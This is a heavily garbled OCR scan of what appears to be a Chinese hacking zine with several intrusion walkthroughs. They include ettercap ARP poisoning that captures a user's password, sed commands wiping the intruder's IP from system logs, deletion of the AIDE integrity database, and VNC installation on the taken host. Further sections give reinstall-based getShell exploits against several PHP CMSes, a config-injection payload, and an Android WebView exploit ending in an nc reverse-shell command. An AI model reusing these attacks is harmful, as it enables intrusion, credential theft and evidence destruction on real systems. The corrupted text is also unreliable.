*attarcap O 7T S copyright 2001-2012 Ettercap Development Teans
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ettercap 0.7.5 copyright 2001-2012 Ettercap Development Team

ettercap 0.7.5
[root@jcms ...]# ettercap -T -M arp “// //" -q -i ethO

ettercap 0.7.5 copyright 2001-2012 Ettercap Development Team

TARGET (// //) contains invalid chars !
[root@jcms ...]# etrercap -T -M arp /// /// -q -1 ethO
ettercap 0.7.5 copyright 2001-2012 ettercap Development Team

Listening on:
eth0 -> 34:40:B5:AA:CB:BC
10.149,100,.150/255.255. 255.0
fe80::3640:b5ff:feaa:cbbc/64

SSL dissection needs a valid ‘redir_command_on® script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

p1u31n ec sslstr1p so cannot be loaded...
ins
40 protoco1 dissectors
55 ports monitored
13861 mac vendor fingerprint
1766 tcp oS fingerprint
2183 known services

Randomizi 255 hosts for scanni
Sc?nning the whole netmask for 255 hosts...

>| 100.00 ¥
19 hosts added to the hosts list...

ARP poisoning vicrims:

GROUP 1 : ANY (all the hosts in the list)

o 2 ST s o )

Text on1¥ Interface activated...
Hit 'h" for inline help

K 3-1-34
W) R DG, AT DARSRAR T\ (H 2, WRERANSE K I () RE MR B0, 10 ELAR B ASRERT 25 HL i,
N E U RN E T LA AR — B &R, RIS ERERTIF . FTCAR? A
i F1—%% nohup 714, Nohup [ EEAHENIIE/T 4, W 3-1-35:

TOOTEIcs .. ]# nohup ettercap -1 W arp —q -1 eth0 > ettercap &
1] 9039

root@jcms ...]# nohup: ZIXEWAEEEERIIFEGLE

[root@jcms ...]# ps -ef |grep etter

65534 9039° 8712 99 00:24 pts/2  00:00:55 ettercap -T -M arp /// /// -q -i eth0
9052 8712 0 00:25 pts/2 :00:

root 00:00:00 grep etter

[root@jcms ...]# cat ettercap

ettercap ettercap-0.7.3-2.rf.src.rpm ettercap-0.7.5-3.e16.1.20120906gitc796e5. 1686. rpm
[root@jcms ...]# cat ettercap

I

ettercap 0.7.5 copyright 2001-2012 ettercap Development Team
L1s(en1ng on

10. 149 100 150/255 255.255.0
fe80::3640:b5ff:feaa:cbbc/64

ssL dissection needs a valid 'redir_: comand on' script in the etter.conf file
privileges dropped to UID 65534 GID 65534.

plugin_ec_ssistrip.so cannot be loaded..
38 p1uging

40 protocol d1ssectors
55 ports monitor
13861 mac vendor f1ngerpr1nt
1766 tcp 0s f1n?erpr1m
3 known services

Randomizing 255 hosts for scanm’ng...
scTnning the whole netmask for 255 hosts...

| 100.00 %
18 hosts added to the hosts Tist...

ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the 1ist)

GROUP 2 : ANY (all the hosts in the list)
starting unified sniffing.

Text on1¥ Interface activated... ¢ f
Hit 'h" for inline help [} 7
pHCP: [00:1a:64:05 [} orscover S Y
DHCP [oo:u:sa:ecn:m DISCOVER Irity Team:

B 3-1-35
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Ok, CAMINAIEfG BT, FHAKRMT, MREES 1, WK 3-1-36:

I386T_mac_vendor Tingerprint 5|
1766 tcp 0s fingerpr
3 known services

Randomizing 255 hosts for scanning...

scanning the whole netmask for 255 hosts...

=] | 100.00 %

18 hosts added to the hosts Tist...

ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)

starting unified sniffin

Text on1¥ Interface activated..

Wit 'h' for inline help

DHCP: [00:1A:64:D5:5E DISCOVER

DHCP: [00:1 6C: DISCOVER

DHCP: [00: DISCOVER

DHCP: [00: DISCOVER

oHcP: [00 DISCOVER

DHCP 00 DISCOVER

oHcP: [00 DISCOVER

DHCP 00 DISCOVER

DHCP: [00 DISCOVER

DHCP 00 DISCOVER

oHCP: [00: DISCOVER

DHCP: [00: DISCOVER

DHCP: [00: DISCOVER

DHCP: [00: DISCOVER

DHCP: [00: DISCOVER

DHCP: [00 DISCOVER

DHCP: [00 DISCOVER

DHCP: [00 DISCOVER

DHCP: [00 DISCOVER

DHCP: [00 DISCOVER

DHCP 00: DISCOVER

DHCP: [00: DISCOVER

DHcP: [00: DISCOVER I i
oHCP: [00:1 DISCOVER .
m—rp : 10.1. 0 -> USER: WM PASS: 123456 INFO: http: AN 3//jcms/index_jcms. jsp = =

HCP: [00: DISCOVER —»”’y Tea

[root@]cms ..‘] '

K 3-1-36
A DAMRER 2 R U AT
+ MIER aide SCHFE T
EEHREEMEEE 2] T —/MHZ, aide, FISIRBLIARS] T IR L SR AR AL T
ToRT . MR ZES I, ikl 3-1-37,8 3-1-38, K] 3-1-39:

DHUP: |UU:LAID4:Z/1AFI18D] DLSCOVER
[root@jcms ...]# sed -i '/NES. 0. 5/d’ /var/log/messages*
[root@lcms ... ]# sed -i 4 BB. 5/d' /var/]og/1ast1og
[root@Jcms ..]# sed -1 '/ . B 5/d" /var/log/w
wpa_supplicant.log wtmp
[root@Jcms ...]# sed -1 "/ 5/d" /var/jo
wpa_supplicant.log wtmp
[root@jcms ...]1# sed -1 '/ 5/d' /var/
[root@jcms ...]# sed -i '/ 5/d" /var/1
[root@jcms ...]# sed -i '/ ‘@B5/d" /var/

B 3-1-37
/etc/crontab LSPP :J

/var /spool/cron/root LSPP

‘/ 4 ﬂ\[]’ ., d s ¥
/_secure*ﬁf!ty Team

/etc/login. defs LsPp
/etc/securett¥ LSPP
/var/log/faillog LspP
/var/log/1astlog LSPP

/etc/hosts LSPP
/etc/sysconfig LSPP

/etc/inittab LsPP
/etc/grub/ LspP
/etc/re.d LsPP
/etc/1d. so. conf LSPP
/etc/localtime LSPP
/etc/sysctl. conf LSPP
/etc/modprobe. conf LSPP

/etc/pam.d LSPP

/etc/security LSPP i
Jetc/aliases LSPP BB nmRRiia ol &tmssehEanT.
/etc/postfix LSPP

/etc/ssh/sshd_config LSPP

/etc/ssh/ssh_confiq LSPP

/etc/stunnel LSPP

/etc/vsftpd. ftpusers LSPP
/etc/vsftpd LSPP

/etc/]ssue LSPP
/etc/issue.net LSPP

/etc/cups LSPP

# with AIDE's default verbosity level of 5, these would give lots of
# warnings upon tree traversal. It might change with future version. |
]

#=/Tost\+found  DIR J
#=/hom DIR = 5
18(-.o~’1lty Teaﬂﬂ

& 3-1-38
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1/usr/Tmp

# Check only permissions, inode, user and group for /etc, but
# cover some important files closely.
/etc PERMS

! /etc/mtab

# Ignore backup files

'/etc/. *~

/etc/exports NORMAL

/etc/fstab NORMAL

/etc/passwd  NORMAL

/etc/group NORMAL

/etc/gshadow NORMAL

/etc/shadow  NORMAL
/etc/security/opasswd  NORMAL

/etc/hosts.allow  NORMAL
/etc/hosts. deny NORMAL

/etc/sudoers NORMAL
/etc/skel NORMAL

/etc/logrotate.d NORMAL

/etc/resolv.conf DATAONLY —

/etc/nscd. conf NORMAL
/etc/securetty NORMAL

# shell/x starting files
Jetc/profile NORMAL -
/etc/bashrc NORMAL
/etc/bash_completion.d/ NORMAL
/etc/login. defs NORMAL
/etc/zprofile NORMAL
/etc/zshrc NORMAL

/etc/zlogin NORMAL
/etc/zlogout NORMAL
/etc/profile.d/ NORMAL
/etc/X11/ NORMAL

# Pkg manager
/etc/yum, conf NORMAL

/etc/yumex. conf NORMAL
/etc/yumex. profiles. conf NORMAL
‘etc/yum/ NORMAL
‘etc/yum.repos.d/ NORMAL

K 3-1-39
B, bR a ! ang, ik 3-1-40:

[root@jcms ~[# cd /var/lib/aide/
[root@jcms aidel# rm -rf *
[root@jcms aide]# 1s

[root@]cms aidel]# aide --check
Couldn't open file /var/lib/aide/aide.db. or ﬁfping (
[root@jcms aide]# 1 |

urity Team

K 3-1-40
PR, B2 5T, HEW, WIRELR.
T— EBEERKRNE:
A PRSI, R REEE 1, (HR AR 2 A2 —E 5.
WFEMGRE, W 3-1-41:
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At sed an 400, & 3-1-42:

3-1-42
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ATDERITE, NBERERCETeMERTE, WA 3-1-43:

E 3-1-43

O REAENE

RESRAT PN I H I (1) 5 RN 05 LK arl, S 23 AT T P R4 XS IR 3 4R35 0% . — A SSH Socks
KRB, —vne, WHERIEREE, BAEERIETTE. (B2, FANMIE ip K2 TCE
W, BT AR ZE2E vne, SRJEF vne 1) 5900 diig S R IR, 3t @R T, —M
AR5 288 B AL S IAEE, X RIMEARIE vne 5 2225 pk T, ui IRk T, E#E L
ZRE A BRACT I, X RIS A RIS AT W WA R T N NBIE . B — P a2l
firefox 1 5 [H I 35%
D5 2Z firefox

e 3-1-44:

[root@msf ~]# ssh 127.0.0.1 -p 550 -X

root@127.0.0.1's password:

Last login: Wed Aug 14 12:14:45 2013 from 10.149.97.99

[root@jcms ~]# firefox

Error: no display specified

[root@jcms ~]# cd /etc/yum.repos.d/ I
[root@jcms yum.repos.d]# 1s

163.repo ettercap.repo

[root@jcms yum.repos.d]# clear

[root@jcms yum.repos.d]# 1s
163.repo ettercap.repo
[root@jcms yum.repos.d]# yum install firefox
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile W
name | 2 kB 00:00
namel | 3.7 kB 00:00 =
Setting up Install Process
Resolving Dependencies
--> Running transaction check

-> Package firefox.i686 0:3.6.9-2.el6 will be updated
---> Package firefox.i686 0:10.0.12-1.el6.centos will be an update

-> Processing Dependency: xulrunner >= 10.0.12-1 for package: firefox-10. 0 12-1.el6.centos. 1686)
--> Processing Dependency: libmozalloc.so for package: firefox-10.0.12-1.el6/€entos.i636 ;ﬁa

5 3-1-44
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O=ELEmMFE, LFBEE 2/
W& 3-1-45, 3-1-46, & 3-1-47:

=

root@jcms:~ — e
File Edit View Terminal Tabs Help

[root@jcms ~]# yum groupinstall "X window system"

Loaded plugins: fastestmirror

Loading mirror speeds from cached hostfile

Setting up Group Process

Loading mirror speeds from cached hostfile

Package xorg-x11-xinit-1.0.9-13.e16.1686 already installed and latest version

Package 1l:xorg-x1l-xauth-1.0.2-7.1.e16.i686 already installed and latest version

Package wacomexpresskeys-0.4.2-3.e16.1686 already installed and latest version

Package xvattr-1.3-18.e16.i686 already installed and latest version

Resolving Dependencies

--> Running transaction check

---> Package firstboot.i686 0:1.110.8-1.el6 will be updated

---> Package firstboot.i686 0:1.110.14-1.el16 will be an update

---> Package glx-utils.i686 0:7.7-2.el6 will be updated

---> Package glx-utils.i686 0:9.0-0.7.el6 will be an update

---> Package hal.i686 0:0.5.14-8.el6 will be updated

--> Processing Dependency: hal = 0.5.14-8.el6 for package: hal-storage-addon-0.5.14-8.e16.1686
--> Processing Dependency: hal = 0.5.14-8.el6 for package: hal-devel-0.5.14-8.e16.1686

---> Package hal.i686 0:0.5.14-11.el6 will be an update

--> Processing Dependency: hal-libs = 0.5.14-11.el6 for package: hal-0.5.14-11.el16.1686

---> Package plymouth-system-theme.noarch 0:0.8.3-17.e16 will be updated

---> Package plymouth-system-theme.noarch 0:0.8.3-27.el6.centos will be an update

--> Processing Dependency: plymouth(system-theme) = 0.8.3-27.el6.centos for package: plymouth-sys
tem-theme-0.8.3-27.el6.centos.noarch

---> Package spice-vdagent.i686 0:0.12.0-4.el6 will be installed
---> Package wdaemon.i686 0:0.17-5.el6 will be installed

---> Package xorg-xll-drivers.i686 0:7.3-13.2.el6 will be updated

Tl

T |

---> Package xorg-xll-drivers.i686 0:7.3-13.4.el6 will be an update ) 'F-t>' 1-

--> Processing Dependency: xorg-xll-drv-xgi for package: xorg-xll-drivers- -13.4.el’6l )86 eaml_-
Bl 3-1-45

[ Applications Places System % (o)’ 5:06 AM @))

= —

root@jcms:~ = || X

File Edit View Terminal Tabs Help

[*]

Install 4 Package(s)
Upgrade 21 Package(s)

Total download size: 7.5 M
Is this ok [y/N]: y
Downloading Packages:

(1/25): firstboot-1.110.14-1.e16.1686.rpm 171 kB 00:00
(2/25): glx-utils-9.0-0.7.e16.1686.rpm 52 kB 00:00
(3/25): gnome-screensaver-2.28.3-24.e16.1686.rpm 4.3 MB 00:02
(4/25): hal-0.5.14-11.e16.1686.rpm 378 kB 00:00
(5/25): hal-devel-0.5.14-11.e16.1686.rpm 41 kB 00:00
(6/25): hal-1ibs-0.5.14-11.e16.1686.rpm 67 kB 00:00
(7/25): hal-storage-addon-0.5.14-11.e16.1686.rpm 40 kB 00:00
(8/25): pixman-0.26.2-4.e16.1686.rpm 206 kB 00:00
(9/25): pixman-devel-0.26.2-4.e16.1686.rpm 18 kB 00:00
(10/25): plymouth-core-1ibs-0.8.3-27.el6.centos.i686.rpm 88 kB 00:00

(12/25): plymouth-plugin-label-0.8.3-27.el6.centos.i686.rpm 31 kB 00:00

(13/25): plymouth-plugin-two-step-0.8.3-27.el6.centos.i686.rpm 36 kB 00:00
(14/25): plymouth-system-theme-0.8.3-27.el6.centos.noarch.rpm 27 kB 00:00
(15/25): plymouth-theme-rings-0.8.3-27.el6.centos.noarch.rpm 33 kB 00:00
(16/25): spice-vdagent-0.12.0-4.e16.1686.rpm 51 kB 00:00
(17/25): wdaemon-0.17-5.e16.1686.rpm 39 kB 00:00
(18/25): xorg-x1l-apps-7.6-6.e16.1686.rpm 270 kB 00:00

(19/25): xorg-x11l-drivers-7.3-13.4.e16.1686.rpm

(20/25): xorg-x11l-drv-modesetting-0.5.0-1.e16.1686.rpm

(21/25): xorg-x11-drv-xgi-1.6.0-18.20121114git.el6.1686.rpm

ﬂ22/25): xorg-x1ll-server-Xorg- (96%) 98% [ -] 1.0 MB/s

5[ root@jcms:~

I
|
|
|
I
|
I
|
|
|
(11/25): plymouth-graphics-1ibs-0.8.3-27.el6.centos.i686.rpm | 40 kB 00:00
|
|
|
I
I
I
|
|
|

B 3-1-46
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root@jcms::

File Edit View Terminal Tabs Help

[root@jcms ~]# yum groupinstall "Desktop"

Loaded plugins: fastestmirror

Loading mirror speeds from cached hostfile

Setting up Group Process

Loading mirror speeds from cached hostfile

Package xdg-user-dirs-gtk-0.8-7.e16.i686 already installed and latest version

Package alsa-plugins-pulseaudio-1.0.21-3.e16.1686 already installed and latest version

Package notification-daemon-0.5.0-1.e16.1686 already installed and latest version

Package polkit-gnome-0.96-3.e16.1686 already installed and latest version

Package gnome-screensaver-2.28.3-24.e16.1686 already installed and latest version

Package e0g-2.28.2-4.e16.1686 already installed and latest version

Package gok-2.28.1-5.e16.1686 already installed and latest version

Package gnome-media-2.29.91-6.e16.1686 already installed and latest version

Package gnome-vfs2-smb-2.24.2-6.e16.1686 already installed and latest version

Package orca-2.28.2-1.e16.1686 already installed and latest version

Resolving Dependencies

--> Running transaction check

---> Package NetworkManager.i686 1:0.8.1-5.el6 will be updated

---> Package NetworkManager.i686 1:0.8.1-43.el6 will be an update

--> Processing Dependency: NetworkManager-glib = 1:0.8.1-43.el6 for package: l:NetworkManager-0.8
.1-43.e16.1686

---> Package NetworkManager-gnome.i686 1:0.8.1-5.el6 will be updated

---> Package NetworkManager-gnome.i686 1:0.8.1-43.el6 will be an update I

---> Package at-spi.i686 0:1.28.1-2.el6 will be updated

--> Processing Dependency: at-spi = 1.28.1-2.el6 for package: at-spi-python-1.28.1-2.e16.1686
---> Package at-spi.i686 0:1.28.1-2.el6.centos will be an update Y

---> Package control-center.i686 1:2.28.1-25.el6 will be updated f
---> Package control-center.i686 1:2.28.1-38.el6 will be an update - =
--> Processing Dependency: control-center-filesystem = 1:2.28.1-38.el6 for peckage: 1':3%}'ro.rem“'—

B 3-1-47
AN G R 2% vne T, %23 vne, WK 3-1-48:
File Edit View Terminal Tabs Help

[root@jcms yum.repos.d]# yum search vnc E
Loaded plugins: katello, product-id, security, subscription-manager
Updating certificate-based repositories.

Unable to read consumer identity

name | 1.5 kB ao:00
name/primary | 920 kB 00:00
name 3285/3285

Matched: vnc
gtk-vnc.1386 : A GTK widget for WNC clients
gtk-vnc.x86_64 : A GTK widget for WNC clients
gtk-vnc-devel.i386 : Libraries, includes, etc. to compile with the gtk-wmc library
gtk-vnc-devel.x86 64 : Libraries, includes, etc. to compile with the gtk-wmc library
gtk-vnc-python.x86 64 : Python bindings for the gtk-wnmc library

tsclient.x86_64 : Client for VNC and Windows Terminal Server

vino.x86 64 : A remote desktop system for GNOME

vnc.x86_64 : A remote display system.

vnc-server.x86_64 : A VWNC server.

xorg-x1l-server-Xvnc-source.x86_64 : Xserver source code required to build VNC server (Xwvnc)
[root@jcms yum.repos.d]# yum install vnc vnc-server

Loaded plugins: katello, product-id, security, subscription-manager

Updating certificate-based repositories.

Unable to read consumer identity

Setting up Install Process

Package wnc-server-4.1.2-14.e15 6.6.x86_64 already installed and latest version

Resolving Dependencies ) =
--> Running transaction check

---> Package vnc.x86 64 0:4.1.2-14.e15 6.6 set to be updated
--= Finished Dependency Resolution

I

ity Teamt
K 3-1-48
fic & vne, Wik 3-1-49, 3-1-50:
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# DO NOT RUN THIS5 S5ERVICE if your local area network 1is
untrusted! For a secure way of using VNC, see
# <URL:http://www.uk.research.att.com/archive/vnc/sshvnc.html=>.

H

# Use "-nolisten tcp" to prevent X connections to your VNC server via TCP.
# Use "-nohttpd" to prevent web-based VNC clients connecting.

# Use "-localhost" to prevent remote VNC clients connecting except when
# doing so through a secure tunnel. 5ee the "-via" option in the
# "man vncviewer' manual page. )
! (s,

FrEvncgroot M HEO0SHEEE

[ ]

; Te

ity Team.

NCSERVERS="2:root"
NCSERVERARGS[2]="-geometry 800x600"

b
Kl 3-1-49
[root@jcms yum:réposjd]# \.rn::passwd
. -+
Password: B cEiEEm
Verify:
[root@jcms yum.repos.d]# /etc/init.d/vncserver restart
Shutting down VNC server: 2:root [FAILED]
Starting VNC serwver: Z:root
New "jcms:2 (root)’ desktop is jcms:2
Creating default startup script /roots/.vnc/xstartup
Starting applications specified in /root/.wvnc/xstartup BEavwndEE
Log file is /root/.wnc/jcms:2.log
[ oK 1
[root@jcms yum.repos.dl# vim ~/.vnc/xstartup
[root@jcms yum.repos.d]# head -n 5 ~/.vnc/xstartup
#!1/bin/sh
# Uncomment the following two lines for normal desktop: Y P
unset SESSTION_MANAGER \\?
exec Jetc/X1l/xinit/xinitrc EEE . .
[root@jcms yum.repos.dl# [It)’ Team
Kl 3-1-50
NIT) Y N Sy Ry N > -
i PR VR A, K 5902 g Ve A H SR BT 4%, & 3-1-51:

:2 (root) - _-ng.&l
@) Applications Places System % @t 2:42 AM Q)))

L

Computer

| o

root's Home

XML Parsing Error: undefined entity
Location: chrome://mozapps/content/profile/profileSelection
Line Number 53, Column 1:

<dialog

& 3-1-51
IRJE T AR SE N 2%, END.
(X5 TtiE9miE: Remix
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25, AT —BIR/NERR T B

e &I FEE
KH: VRIS - FickTeam
Wk http://team.fack.org/

WA RAGEEM, sIPRER, W2 AoRE, il 3-2-1:

_‘33:22;41
hitp-/ admin/Admin_index a
sp
AR | 2SS
shuN
TRy = 250
X 7 e R —
SR> - - () S
ERZIFAIMNES . -
e SEELE
SKED
e, | =022 S

B 3-211

BHEGE T T, WS MmTH, SRE—MREE I L T, 3-2-2:
e

TERE REER
=S
T Eps® EPWTH
EET ] eSS D V||1ﬂu% vIB 5 Ume x| SE=E==
%hﬁ%ﬁ\mxmnnm :E—-ITn@Ba =i

K 3-2-2
B, 28K, #R T —8, $oRmBE Bar bl BRSO R IR %, AN NIEE,
HaERAN, AR eweb, RILGmAE A 1 B S LL Rk -
TU\E@J /SIHot Edltor/, ] 3-2-3: ) -

RONEe<EONT = —4>%‘9€Pﬂa63 E.Tbllﬂlﬂ%iﬂﬂﬁtﬁm*mﬁ%' T </ FCk Ir>< atzen I"‘>< B>
TRONG»><FONT =ize=4>F{RF M. «/FONT></STRONG></Fr</textarear
<IFRLME Z:="m3d;tc:'_" src="../31lHot_Editor/ewebeditor.asp?id=Contentéstyle=51HotR111" FRAMESCRDER="O"

K 3-2-3
ANEE e FEARE S, W ANKE, AR, a0 3-2-4:

‘)7 MR R RS

r“ril
H||

TR T .

B BT E AR L AE TR , BRI IRE . RS “ mab A REFERR. I HRETLLTH URL HRREEHEER.

WA URL: /SHot_Editor/db/ewebeditor. mdb ( y

K 3-2-4

—
e
=
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WHGEGEMR, S04, T NAHAL, —NBAER, EREZSEIREE R T
IF—~ webeditor2.8.0 [ 4% #% FIyE NI, BIRVAC R CEIL R B 5%, ik
URLewebeditor.asp?id=article_content&style=full_v200, &5HE&1X/NTUH, Wl 3-2-5:

. @ hitp: /I, S1Hot _Editor/evebedi. ..

RRIE, TRty S5E N, ﬁn%%fﬁﬁ%w\fﬁ, BET Q
J il

=

K 3-2-5
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linux 1) ettercap B LFHUU B IRIE P Fr A ERE L, LR K SOR EI web 171
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YEResponse Headers view parzed

HTTP/1.8 302 Found g | E
TEEAy: | 4(TL:

Location: https://www.alipa
H .
ity Team

server: BigIP
Connection: Keep-Alive
Content-Length: @

K 5-2-1
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st L E R TR install SCPFSE, SR, W1 611,
L7 )

—_.. 1R BkE
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195 1] www.site.com/install.php  CH AR, I35 BRI AN S
205 H OAHUE I Mysql IR AT 1P, HHT 2232 ;
3IEM—NMR T, AN BRI L
4.1Jj 17 /manage/index.php;
5.l BE--HRR---1%#% about_job.html  ¥SfI PHP —HJif;
6./12% J1i%E 4% site.com/about/job.php.
Phpdisk header 223

b phpdisk.php [ jsp.php | 91736.php [ configs.inc.php @ index.php

6-1-2
M EERE, #4722, B4 header BE4%, 1 php HH ) header BREBLYE 2 5L m] LA
PAT, N T 2238778 2358 gpe, FEE H 2% H 4% getShell, W1 6-1-3:
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:\Web\php exp>php phpdisk.php

: Yaseng [ wwll.Yaseng.Me ]
#96—-15 91:35:08 $
I get the . % stem/conf igs.inc.php
:\Web\php exp>

K 6-1-3
Xdems £ R EBEGSITER
22 http://pan.baidu.com/share/link?shareid=1682069943&uk=1379004958
& install N1 index.php 14

foreach(Array('_GET','_POST','_COOKIE') as S_request){
foreach(SS_request as $_k =>S_v) ${S_k} = _runmagicquotes(S_v);
}

gt e R ER S, USSR ERIEA AR RAAE G BE, ki $_GET('] WEN
$a, Ok , KRBT TA O IAH:

SinsLockfile = dirname(__FILE_)."/install_lock.txt';  //7E4 5 i [ 2 7if
if(file_exists(SinsLockfile)){

exit(" FRfF DB T2e%e, WIARIRHE ZE B 2cEE, 1M FTP iR install/install_lock.txt! ");
}

XHH insLockfile £FA TR FI(E R EER), MEAANA—INSE -
http://demo.xdcms.cn/install/index.php?insLockfile=1, UM 6-1-4:

B {1} demoxdcms.cn

Hack Programming Admin After Effect Tool Web Resources Android Enter ] baidu Bhp PHP

B2V =] 113

—. FEBRWGERBOUGSAT XDems , XDemsE SR AR RS EEDL.

K 6-1-4
LA N xdems ‘B 7 WG, FIH POC:

http://www.xxx.com/install/index.php?insLockfile=1&step=4&dbhost=localhost&dbname=xdcms&dbuser=root&
dbpwd=&dbpre=c_&dblang=gbk&adminuser=yaseng&adminpwd=90sex
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DA S AL B H ks A

derems BEBRIE S IRTSE

BTARE derems FEFMLHEEFRT, WA LMY, index.php SARE, EFA
install_action.php, %3825 5N .

A, M7 index.php A EH, index.php HJ&—NAC B HHE 1R ST 8%, I8 BESRREL 4 index
BEUAHE — index 1B, 40K 6-1-5:

—[0 file:///C:/Users/Administrator/Desktop/index.html o SYve | l
| Programming | | Admin | | After Effect | | Tool | | Web | | Resources | | Android | | Enterl @ baidu Bie PHP |4 HighSky

23EMIYE http://127.0.0. 1/code:
* FBMEADINSEERS 2

L
o EiiERESSE
© SQLite @ Mysql
SQLitePI¥EAMERIEIRE/ N T 10WET ISR, MM EAMNERN SR E LR AR 5EEMysql
o EERE=EL :
localhost
ZEta9iE7localhost, IEFHEIP
o EHERERF :
root

* HEEEEES

o HEERESR
hack

AR, wE 6-1-6:
@ 77 v & || M- Google
ebl@' Resouwele Android | | Enter | [&] baidu B PHP J§ HighSky M Yaseng *§ G

K 6-1-6

Done !!!
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Phpweb FE# vip WiF5LT

2% . http://pan.baidu.com/share/link?shareid=16852224008&uk=1379004958

Phpweb 1EA— NN RGE, 23S0 2 RIRIE, FTAF RN RIFR B £ T Eze i,
WK 6-1-7:

PHPWEBLZERIS - 58 2 & : AIFPBHARIE

I EMASEPHPWEBS SRSMERERKENSRE , ZSRNEHaRK s, BT
KUFHRSTRIRS. MRCHREPHPWEBS K , Six T yileis

ERKES |
TREHE |

6-1-7
{Hi2 23R post iKY nextstep #2541, 1K 6-1-8:

if (F_POSTL command’ ] == “gonext
if (F_POSTL[ nextstep’ ] == 0) {
Fdonext = true;

2e 1

Z7 ;f (#_POSTL[ nextstep’ ] == 1) {

s4 if (F_POST[ nextstep’ ] == 2) FTdonext = true;
SS %f & _POSTL nextstep’ ] == 3) {

': if F_POST[ nextstep’ ] == 4) Fdonext = true;
T2 %f #_POSTL nextstep’ ] == 5) {

o0 %f & _POSTL nextstep’ ] == 6)1{

E; if Fdonext){

OB }else{

Kl 6-1-8
Firefox tamper ELIRGE 203% (WML 3 R DN, BOGER & TR AR FT), W] 6-1-9:

SEIL TAIPET WP 1Amper  wiear
B @ demo.2799.cn/1320825067/base/install/
=4 Filter
Hack 8 Programming |8 Admin s After Fifect/ Iy Tool s Web sl Res Time Duration Total Duration Size Method Status
23:48:4... 146 ms 316 ms 4244 POST 200
23:48:4.. Oms 0ms unkno... GET pendin
PHPWEBT(%]E]% - % 7 %] [23:48:4.. Oms 0ms unkno... GET pendin
23:48:4... O ms Oms unkno... GET pendin
23:48:5... nfams n/a ms unkno... GET Cancel
FRipgrssent ! 23:49:2... n;a ms n;a ms unkno... GET Cancel
SRS [install ] B
=EMNY || EEER
R EHEERTRY
Request Header Name  Request Header Value Respons
Host demo.2799.cn Status
User-Agent Mozilla/5.0 (Windows NT 6.1; ... Date
Accept text/html,application/xhtml+x... X-Power
Accept-Language zh-cn,zh;q=0.8,en-us;q=0.5,en... Content-
Accept-Encoding gzip, deflate Content-
DNT 1 Keep-Alr
Connection keep-alive Connecti
Referer http://demo.2799.cn/1320825...
Cookie CODEIMG=6132
Content-Type application/x-www-form-urle...
Content-Length 35
K 6-1-9
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HAhgeid

IR AR GEL R, T PUER AR5, Eein dedeems HIAE R SCAEMMESR, MBS lockfile,
Xxxems PRSI 555

22BN RE

42 hnlock file 7 ... IXIEHE B GL I fERE, discuz 45 T HAT MR HIESR. B
Kb, ZREEVINGEE:

if(@file_exists(DISCUZ_ROOT."./install/index.php') && !DISCUZ_DEBUG) {
@unlink(DISCUZ_ROOQT."./install/index.php');
if(@file_exists(DISCUZ_ROOT.'./install/index.php')) {
dexit('Please delete install/index.php via FTP!');

}

BEIEMER index.php, TF TRV, KRG &
JSE-p
AL RIS LRI H B 5 web 240 2 2EFE 7 (1) 8 S0P, 2248 Hh oA IR LE 3 ki A
HEABIE, AR ARATN oday, FHARKIH RGBT E AT .
AR JFEB), FEHAGTEW RAL . http://yaseng.me/web-installer-security.html
RIS H F I H . http://www.uauc.net/code-audit
(&35E) Tt X

F2Y., web BFZEMREZEZ——yiqicms getshell

fE#: Yaseng

K H: COodePlay Team

Mk:  http://www.cOdeplay.com

1:web Z3RARGZ 2

ZAHHEIE)—A web 224 ]

BRI Hr WS —F ) (4K Web RG22 4) , K 6-2-1:

i

411k Web 5 %t ) 5 B T

i Web RIFEFHIERFEE

Author:Yaseng

[BF]

0x<00 HIS

0x01 X TIERFITHTH

0x02 Ex T FIMHEEEZT4E Il getShell
0x03 Bk¥%E42id phpdisk header bypass & getShell
0x04 =/RTEFEF5H sdams

0x05 JEESE daoms RIFEESEE

0x06 phpweb FTHE=RISUFSRI

0x07 Efthizid=c 51

0x08 T LIRS

0x09 25

K 6-2-1
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2:yiqgicms getshell

HARRINRE

| rename("install.php","install.php.bak");

1M apache X ISR AT DUAEAT IR -

SCHCHC B SR DS S RCE T, W] LA B2 getshell
AR EL AN {${phpinfo()}}.

A config.inc.php, U1K 6-2-2:

<?php

Scfg_db_host = "localhost";
Scfg_db_user = "root";
Scfg_db_pass = "{${phpinfo()}}";

'coder/yigicms/include/config.inc,php

' Programming || Admin | | Tool | | After Effect | | Web | | Android | | Resources | | Enter b

System Windows NT PC201307272206 6.1
Pack 1) AMD64

Build Date Sep 16 2011 21:25:01
Compiler MSVCY (Visual C++ 2008)
Architecture  |x64

K 6-2-2
(&358) TTEgmaE: i

#5397, Android webView 3 O/EEAREHAT O

fE#: Yaseng
K H: codePlay Team
WHE:  http://www.cOdeplay.com

1:5<F webview Fl addJavascriptinterface

Webview #& android ui 1 —/MEEAZH AR, BT DA BLSEE webkit PN AZ I
addJavascriptinterface 2}t 7 —~ javascript i f{] java BREHIFEI,
FHF AL PRGN outh2 IAEZEThAE

2:addJavascriptinterface fUREHAT 4T
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addJavascriptinterface f#i[] js U i) 4% 1284 2 public &% (Android sdk <4.2), HT java 12
HIgk AN, M2 javascript AJFEES o
F) A s S5 AL FH AT A ) L B AT AT JAVA iy 2 AT poc:

js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

//is2java A app 2 025544 addlavascriptinterface(xxx "js2java");

3:webview app SR
N TR TR, e T ) webview 5245 If 5231 addlavascriptinterface  $% 1, #Z RIS U R .

wv=(WebView)findViewByld(R.id.wv);
wv.getSettings().setlavaScriptEnabled(true);
wv.getSettings().setlavaScriptCanOpenWindowsAutomatically(true);
wv.addJavascriptinterface(new ProxyBridge(), "js2java");
public class ProxyBridge {
public String  test() {

Toast.makeText(getApplicationContext(),"js test",Toast. LENGTH_SHORT).show();
System.out.printin("test");
return "test";
ki
1

fij B )R IS R Y As,  anlE 6-3-1:

> A

y;©
&Y 5554:avd3
|

’3' webview

http://yaseng.me go

j0¢

=% RSS Feed

Yaseng

as: < Home UaUc
Ya GitHub About

K 6-3-1
7E android 4.0(api 10) IZATFEF FTHF 310 poc TUMH, SGRANMEHA ne 3 .
A livers@wooyun [ S .
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execute(["/system/bin/sh","-c","nc 192.168.1.106 8889 | /system/bin/sh|nc 192.168.1.106 9999"]);

SeAEA I W P AN 1 SR SRR S, G 6-3-2:

B BER: =TMDNC- Just Fucking - nc -lvwp 9999

